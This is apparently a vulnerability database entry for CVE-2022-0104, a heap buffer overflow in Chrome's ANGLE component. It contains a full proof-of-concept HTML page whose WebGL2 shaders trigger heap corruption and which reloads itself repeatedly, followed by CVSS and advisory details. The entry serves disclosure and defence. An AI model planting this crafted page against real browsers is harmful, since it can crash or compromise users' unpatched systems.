CVE-2022-0104
HIGH Severity
Heap buffer overflow in ANGLE in Google Chrome prior to 97.0.4692.71 allowed a remote attacker to potentially exploit heap corruption via a crafted HTML page.
Proof of Concept
<!DOCTYPE html>
<body>
<canvas id="canvas3" width="256" height="256"></canvas>
<script id='2d-vertex-shader' type='x-shader/x-vertex'>#version 300 es
void main()
{}
</script>
<script id='2d-fragment-shader' type='x-shader/x-fragment'>#version 300 es
precision mediump float;
uniform mediump samplerCube var_0002;
uniform highp samplerCubeShadow var_0004;
out vec4 color;
void main() {
vec4 var_0031 = texture(var_0002, vec3(1,1,1));
textureSize(var_0004, 0) ;
color = vec4(1,1,1,1);
}
</script>
<script>
function getShaderSource(id){
return document.getElementById(id).textContent.replace(/^\s+|\s+$/g, '');
}
function createShader(gl, source, type) {
var shader = gl.createShader(type);
gl.shaderSource(shader, source);
gl.compileShader(shader);
return shader;
}
function createProgram (gl, vertexShaderSource, fragmentShaderSource) {
var program = gl.createProgram();
var vshader = createShader(gl, vertexShaderSource, gl.VERTEX_SHADER);
var fshader = createShader(gl, fragmentShaderSource, gl.FRAGMENT_SHADER);
gl.attachShader(program, vshader);
gl.deleteShader(vshader);
gl.attachShader(program, fshader);
gl.deleteShader(fshader);
gl.linkProgram(program);
gl.useProgram(program);
}
var canvas = document.getElementById('canvas3');
var gl3 = canvas3.getContext('webgl2' );
var program3 = createProgram(gl3, getShaderSource('2d-vertex-shader'), getShaderSource('2d-fragment-shader'));
gl3.drawArrays(gl3.TRIANGLE_FAN, 0, 3);
setTimeout(function(){location = ''},200);
</script>
</body>
</html> Risk Information
CVE ID
CVE-2022-0104
Vendor
Google
Product
Chrome
CVSS SCORE
8.8
Advisories
Vendor Advisory
NVD